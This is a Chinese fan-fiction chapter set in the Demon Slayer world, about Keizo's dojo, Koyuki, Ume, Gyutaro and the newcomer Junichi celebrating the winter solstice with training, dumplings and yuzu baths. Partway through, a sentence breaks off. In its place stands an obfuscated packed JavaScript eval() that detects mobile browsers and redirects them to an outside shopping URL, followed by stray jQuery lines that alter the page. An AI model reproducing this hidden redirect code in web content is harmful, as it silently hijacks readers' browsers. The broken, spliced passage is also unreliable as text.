冬至的清晨，天色亮得比平时晚些。寒气凝在道场的屋檐下，结成细小的冰棱。


    院子里的石板还覆着一层薄薄的白霜，三个熟悉的小身影已经准时出现在门口——宗之介、竹雄、健太。还没走近大门，就听见他们齐刷刷地喊：“庆藏师父早！狛治哥哥早！太郎哥哥早！”


    “早啊！”庆藏笑着应声，目光却落在他们身后——那个新来的、走路有些跛的少年，正努力跟上队伍。


    高桥顺一深吸一口气，在门口站定，深深鞠躬：“庆、庆藏师父早！大家早！”


    “顺一也早。”庆藏走过去，轻轻拍了拍他的肩，“别紧张，今天先从最基础的开始。”


    晨练开始了。


    狛治带着三个“老弟子”复习步法，动作整齐划一。妓夫太郎在一旁巩固昨天学的拳路，拳头破开冷空气，发出短促的声响。


    而顺一则跟着庆藏，在院子另一角，从最基础的站姿开始学。


    “脚分开，与肩同宽。”庆藏的声音很温和，他蹲下身，亲自调整顺一的脚位，“你左腿不便，重心可以稍稍往右偏一点，但要稳，不能晃。”


    顺一咬紧牙关，按照指示调整。他的左腿微微颤抖，额头上很快渗出汗珠。


    “不用急。”庆藏扶住他的胳膊，“慢慢来，找到那个让你站稳的点。对…就是这样。”


    庆藏教得很细，每个动作都拆解得清清楚楚，反复示范。顺一学得认真，虽然动作生涩，但眼神专注得仿佛要把每一个细节刻进脑子里。


    顺一按照指导调整着，虽然姿势看起来还是有些别扭，但脚下的晃动确实减轻了。他抬起头，眼睛里闪着光：“庆藏师父，这样对吗？”


    “对。”庆藏肯定地点头，“记住这个感觉。每个人身体条件不同，找到适合自己的‘稳’，比硬学标准姿势更重要。”


    休息时，三个小家伙立刻围了上来。


    “顺一哥哥！”宗之介眼睛亮亮的，“你好厉害啊！我刚开始学的时候，连站都站不稳呢！”


    竹雄小声补充：“而且…而且庆藏师父亲自教呢！”


    健太挠挠头，憨憨地说：“顺一哥哥，你腿疼不疼？我妈妈说，累了要休息。”


    顺一被他们围在中间，有些手足无措，脸微微发红：“还、还好…不疼。谢谢你们。”


    “顺一哥哥肯定能学好的！”宗之介拍拍胸脯，“以后有人欺负你，你就告诉我们！我们帮你！”


    “对！我们帮你！”


    孩子们叽叽喳喳，真诚又热烈。顺一看着他们，眼眶有点热，用力地点了点头。心里那股初来乍到的紧张感，也在不知不觉中消散了大半。


    廊下，纸门被轻轻拉开。


    恋雪穿着素雅的居家服，外面罩了件淡橘色的羽织，正跪坐在镜台前。小梅从她身后探出脑袋，眼睛弯成了月牙。


    “恋雪姐姐，今天是什么特别的日子吗？”小梅问，“你穿得真好看。”


    恋雪转头，温柔地笑了：“今天是冬至呀，小梅。是一年里夜晚最长、白天最短的日子。过了今天，白昼就会慢慢变长，春天也就不远了。”


    她拉起小梅的手，走到衣箱边，打开，里面整齐叠放着几件新改好的衣裳。她拿出一件鹅黄色的，料子柔软，领口和袖口还绣着细小的梅花纹。


    “这是前几天给你改好的，今天穿这件好不好？”恋雪把衣服在小梅身前比了比，“很衬你的肤色呢。”


    小梅的眼睛一下子亮了：“好看！恋雪姐姐，你今天穿橘色的，我穿鹅黄色的…我们像不像太阳和阳光呀？”


    恋雪被这个比喻逗笑了：“像，真像。”她帮小梅换上衣服，又拉她在镜前坐下，“来，姐姐给你梳头。”


    木梳穿过小梅柔软的银发，动作轻柔。小梅从镜子里看着恋雪专注的侧脸，忽然开口：“恋雪姐姐，上次我说要给你梳头，还没梳成呢。”


    恋雪手上的动作顿了顿。


    “今天让我试试，好不好？”小梅转过身，仰着小脸，眼神里满是期待，“我看了好多遍狛治哥哥给你梳头的样子，我记住了！我会很轻很轻的，绝对不扯疼你。”


    恋雪的脸颊微微泛红。她想起上次小梅提起狛治梳头的事，当时羞得恨不得找个地缝钻进去。但看着小梅亮晶晶的眼睛，她心里软成一片。


    “…好呀。”她轻声应道，在镜前坐正身子，“那小梅来试试。”


    小梅欢呼一声，小心翼翼地从恋雪手里接过梳子。她的动作还很生涩，但极其认真，学着记忆中狛治的样子，先慢慢把长发梳顺，然后分成几股，笨拙却轻柔地编结。


    “这里…要这样绕过去…”小梅小声嘀咕着。


    恋雪从镜子里看着身后的小女孩——小脸因为专注而微微鼓起，睫毛长长的，阳光从窗外洒进来，在她鹅黄色的衣襟上跳跃。一种难以言喻的暖意，从心底缓缓漾开。


    终于，一个简单的发髻在小梅手中成型。虽然比不上狛治梳得那般工整利落，甚至有些地方的碎发没完全收拢，但歪歪扭扭中透着稚拙的可爱。


    小梅拿起妆匣里一支簪子，小心地插进发髻固定好，然后退开一步，忐忑地问：“恋雪姐姐…怎么样？”


    恋雪对着镜子左右看了看，嘴角的笑意温柔地漾开：“梳得很好呢，小梅。姐姐很喜欢。”


    她转过身，把小梅搂进怀里，轻轻揉了揉她的头发：“我们小梅真是越来越能干了。”


    小梅满足地把脸埋进恋雪怀里，咯咯地笑起来。


    此刻的院子里，晨练也已经接近尾声。


    庆藏拍了拍手，把四个孩子的注意力吸引过来：“好了，今天就到这里。”


    宗之介他们有些意外：“诶？庆藏师父，今天结束得好早呀！”


    “因为今天是冬至。”庆藏笑呵呵地说，“是个该和家人团聚的日子。你们几个小鬼头，赶紧回家去，帮家里做点事，和爹娘好好过节。”


    “是！”孩子们齐声应道，行礼后嘻嘻哈哈地跑出了道场。


    顺一站在原地，有些无措。他刚要开口告辞，庆藏却先一步叫住了他。


    “顺一，你等等。”


    顺一转过头。


    庆藏走到他面前，语气温和：“今天过节，你母亲一个人在家吧？要不要接她过来，咱们一起热闹热闹？”


    顺一愣住了，连忙摆手：“不、不用了，庆藏师父！这太麻烦您了！我母亲她…”


    “不麻烦。”庆藏大手一挥，语气不容拒绝，“道场里今天本来也要过节，多两双筷子的事。你母亲身体不好，一个人过节冷清。接过来，大家说说话，一起吃顿饭，晚上你再陪她回去。”


    他看向正在收拾器具的狛治和妓夫太郎：“狛治，太郎，你们俩一会儿跟恋雪和小梅去集市采买些过节的东西，正好带着她们两个出去逛逛。顺一，你现在就回去接你母亲，路上慢点，不急。”


    顺一的喉咙像是被什么堵住了。他看着庆藏师父坦然而真诚的脸，眼眶一阵发热。他用力吸了吸鼻子，深深鞠躬：“…是！谢谢您，庆藏师父！我、我这就去接母亲！”


    说完，他转身，脚步比平时轻快了许多，那条微跛的腿似乎也不再是负担。


    庆藏看着他的背影，笑了笑，转头对狛治他们说：“你们也准备准备，去集市吧。让恋雪和小梅也出去透透气，别总闷在屋里。买点南瓜、红豆、柚子…对了，再买些面粉，今天咱们做冬至团子。”


    “是，师父。”狛治应道。


    妓夫太郎也点头，心里默默记下要买的东西。


    等去屋内叫了恋雪和小梅，几人一起出发去集市。


    集市上比平日更热闹几分。冬至毕竟是重要节气，摊贩们早早摆出了应节的东西——金黄的南瓜堆成小山，饱满的红豆装在袋子里散发甜香，新鲜的柚子圆滚滚的，还带着黄澄澄的色泽。


    恋雪牵着小梅的手，走在前面。她今天穿了那件橘色羽织，小梅穿着鹅黄衣裳，两人走在人群里，像一簇温暖的阳光。


    小梅对什么都好奇，指着摊子上的东西问个不停。恋雪耐心地解答，声音温柔。


    “恋雪姐姐，那个圆圆的是什么？”


    “那是柚子，冬至要泡柚子浴，寓意来年万事顺、不感冒。”


    “那个黄黄的呢？”


    “是南瓜，南瓜又叫なんきん，里头带个ん音，说是能招来好运气。今天我们要用它做团子和饭哦。”


    狛治和妓夫太郎跟在后面，手里已经提了不少东西。狛治的目光总是不自觉地落在恋雪身上，看她微微弯下腰对小梅说话的样子，看她被寒风吹得微红的脸颊。他不声不响地走到她身侧，替她挡去了一些人流。


    妓夫太郎则仔细挑选着食材。他拿起一个南瓜，掂了掂重量，又看了看表皮——这是以前在游郭为了找食物练出的眼力。挑好的南瓜个个结实饱满。


    回去的路上，小梅忽然拉了拉恋雪的袖子，小声说：“恋雪姐姐，我好开心呀。”


    “为什么开心？”恋雪低头看她。


    “因为大家都在。”小梅的眼睛亮亮的，“有哥哥，有恋雪姐姐，有狛治哥哥，有庆藏师父，还有顺一哥哥和他母亲…好多人，热热闹闹的。”


    恋雪的心软成一滩水。她握紧小梅的手：“嗯，姐姐也很开心。和大家在一起，是一件特别特别好的事。”


    顺一把母亲接来时，已近中午。


    高桥夫人换上了一身干净的旧衣服，头发梳得整整齐齐。她看起来比上次气色好些，手里提着一个小陶罐，见到庆藏和回来的众人，连忙行礼。


    “庆藏师父，实在不好意思，又来叨扰了。”她的声音温婉，带着感激，“家里没什么好东西，这是我自己腌的一点梅子，带过来给大家尝尝，不成敬意。”


    “您太客气了。”庆藏接过陶罐，打开闻了闻，一股酸酸甜甜的梅子香飘出来，“闻着就好！今天正好配团子吃。快请进，外面冷。”


    罐子里，一颗颗梅子饱满润泽，泛着诱人的光泽。


    “哇！！看着就好好吃！”小梅凑过去，眼睛亮亮的。


    道场里已经生起了暖炉，橘红的火光跳动着，把屋子烘得暖洋洋的。


    午后的时光，在食物的香气和忙碌中缓缓流淌。


    厨房里，恋雪挽起袖子，开始和面。小梅踮着脚在旁边看，手里捏着一小团南瓜面团，学着她的样子揉搓。高桥夫人也来帮忙，她手脚麻利，把红豆馅分成均匀的小份。


    “冬至团子，要做得圆滚滚的，象征团圆圆满。”恋雪一边做一边轻声解释，“南瓜和面，颜色好看，也寓意丰收健康。”


    小梅认真地捏着手里的面团，试图搓成一个完美的圆球。可面团总是不听话，要么扁了，要么裂开。她瘪瘪嘴，不气馁，重新再来。


    另一边，庆藏带着狛治、妓夫太郎和顺一在处理柚子和南瓜。庆藏用刀利落地切开南瓜，金黄的瓤露出来，甜香四溢。狛治默默地把南瓜切成块，准备一会儿蒸熟。


    妓夫太郎和顺一则坐在廊下，用粗盐搓洗柚子皮——这是泡柚子浴前要做的，据说能更好地释放香气。


    顺一的动作有些慢，但极其认真。妓夫太郎也不催他，只是偶尔递过洗好的柚子，两人之间没什么话，却有种默契的安静。


    阳光从廊檐斜斜照进来，落在两人身上，暖呼呼的。


    午后稍歇，恋雪拿出了新买的识字书。


    她和高桥夫人坐在暖炉边，小梅挨着她，妓夫太郎也坐在一旁。书页翻开，上面画着简单的图画和文字。


    “今天我们来学‘冬’字。”恋雪用指尖轻轻描摹着书上的字，“冬天来了，天气冷了，但是一家人围在一起，就很温暖。”


    小梅跟


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919629|192542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着念：“冬——”


    她的声音稚嫩却清晰。妓夫太郎也默默地看着那个字，手指在膝盖上无意识地比划着笔画。


    高桥夫人看着这一幕，眼里有温柔的水光。她轻声对恋雪说：“恋雪小姐，您真是心善。教孩子们识字…这是顶好的事。”


    恋雪微微摇头：“夫人别这么说。我也是想找点事做，而且…”她看了看认真描画的小梅和默记的妓夫太郎，笑容温柔，“看着他们学，我也很高兴。”


    院子里，庆藏和狛治把洗好的柚子搬进浴室。庆藏一边搬一边说：“晚上泡个柚子浴，祛祛寒气，来年一年都顺顺利利的。”


    狛治“嗯”了一声，把柚子一个个放进浴桶。热气从厨房那边漫过来，带着南瓜和红豆的甜香，和柚子清新的气息混在一起，成了冬至特有的味道。


    晚饭时分，道场里的矮桌被拼在一起，摆得满满当当。


    正中是一大锅热气腾腾的南瓜饭，金黄的米粒混着软糯的南瓜，香气扑鼻。周围摆着好几样菜——清炒胡萝卜，象征“红运当头”；醋溜莲藕，寓意“路路通达”；嫩滑的蒸蛋，撒着细细的海苔丝，意味着“顺顺利利”。


    当然，最显眼的是那一盘盘圆滚滚的冬至团子。南瓜面团蒸熟后，里面包着甜而不腻的红豆馅。小梅亲手做的那几个虽然形状不那么规整，但被她郑重地放在盘子最中央。


    “大家辛苦啦。”庆藏笑呵呵地举起茶杯，“今天是冬至，咱们以茶代酒，愿来年一家人都平安健康，团团圆圆！”


    “团团圆圆！”众人齐声应和，连小梅都学着举起她的小茶杯，声音清脆。


    饭桌上充满了欢声笑语。高桥夫人尝了一口团子，眼睛微微睁大：“这团子…真好吃。面皮软糯，红豆馅甜得正好。”


    “是高桥夫人您分的馅料好。”恋雪柔声说。


    顺一吃得很认真，每样菜都夹一些，尤其是那盘胡萝卜——庆藏师父说这是“红运”，他希望母亲来年身体能好些，运气能好些。


    小梅吃到了自己做的那个团子，虽然形状歪了，但她吃得格外香，嘴角沾上了豆沙馅。妓夫太郎默默递过手帕，她接过来胡乱擦了擦，又咧嘴笑了。


    狛治依旧是话最少的，但他给每个人盛饭，添汤，动作自然。当他把一碗热腾腾的南瓜汤放到恋雪手边时，恋雪轻声说了句“谢谢”，耳根又悄悄红了。


    庆藏把这一切悄悄看在眼里，低头喝茶，藏住了嘴角的笑意。


    夜幕降临，高桥夫人和顺一告辞离开。


    庆藏给他们包了几个柚子，又塞了一包做多的团子：“带回去，明天早上蒸热了吃。”


    高桥夫人推辞不过，只好收下。她拉着顺一，再次向庆藏和众人深深鞠躬：“今天真是…太感谢了。我和顺一，很久没有过这么热闹、这么暖和的冬至了。”


    “别这么说。”庆藏扶住她，“以后常来。顺一在这儿学得好，您也常来坐坐，和恋雪说说话。”


    送走顺一母子，道场里安静下来，却还残留着节日的余温。


    浴室那边，热水已经烧好。庆藏把剩下的柚子切开，果肉留给明天吃，柚子皮则全都放进浴桶里。滚烫的热水浇上去，柚子皮特有的清新香气瞬间蒸腾起来，弥漫了整个浴室，连走廊都能闻到。


    “好了，准备泡澡吧。”庆藏拍拍手，“柚子浴，祛寒祈福。一个个来，别着急。”


    小梅第一个被恋雪带进去。浴桶里热气氤氲，漂浮着金黄色的柚子皮，香气浓郁。小梅泡进热水里，舒服地眯起眼睛：“好香呀…恋雪姐姐，泡了这个澡，明年真的不会生病吗？”


    恋雪用木勺舀起热水，轻轻浇在小梅肩上：“嗯，传说会保佑健康。不过啊，更要紧的是，小梅要好好吃饭，好好睡觉，这样才能长得健健康康的。”


    “嗯！我答应恋雪姐姐！”小梅用力点头。


    院子里，狛治和妓夫太郎帮着收拾浴后的用具。夜空中没有月亮，星星却格外清晰，一颗一颗，亮晶晶地缀在夜幕上。


    妓夫太郎抬起头，看着星空。他想起去年的冬至——不，他根本不知道哪天是冬至。他和妹妹蜷缩在破草席里，互相抱着取暖，饿得睡不着，只能数着屋顶漏下来的雪花，一片，两片…


    “想什么？”狛治的声音从旁边传来。


    妓夫太郎回过神，摇摇头：“没什么…就是觉得，今年的冬天，不太冷。”


    狛治顺着他的目光看向夜空，沉默片刻，说：“以后也不会冷了。”


    这话说得平淡，却像一句承诺。


    等所有人都泡过柚子浴，道场里弥漫着一股温暖而清新的气息。每个人的脸颊都被热气蒸得红扑扑的，身上还带着柚子香。


    睡前，小梅抱着恋雪给她新缝的猫咪布偶，钻进被窝。她今天玩累了，眼皮已经开始打架，却还强撑着说：“恋雪姐姐，明年冬至…我们还要一起过…”


    “好呀。”恋雪给她掖好被角，声音轻得像夜风，“每年都一起过。”


    妓夫太郎回到房间，解下腰间的练功带，仔细折好。他躺进被褥，被太阳晒过的棉花蓬松柔软，散发着阳光的味道。柚子浴的香气还萦绕在鼻尖，混合着晚饭时南瓜的甜，红豆的香，还有大家说话的笑声…


    他闭上眼睛，那些画面还在眼前晃动：小梅搓团子时认真的脸，顺一母亲感激的眼神，庆藏师父爽朗的笑，狛治哥默默添汤的手，恋雪小姐温柔的侧影…


    这些碎片，在冬至最长的夜里，拼凑成一幅完整而温暖的图景，把他紧紧包裹。


    窗外，寒风依旧吹过屋檐，发出呜呜的声响。


    但道场里，暖炉的余温还在，柚子香还未散尽。每一个房间里，平稳的呼吸声此起彼伏，交织成冬夜里最安心的摇篮曲。


    冬至已至，长夜将尽。


    而春天，就在不远的将来，静静等待着。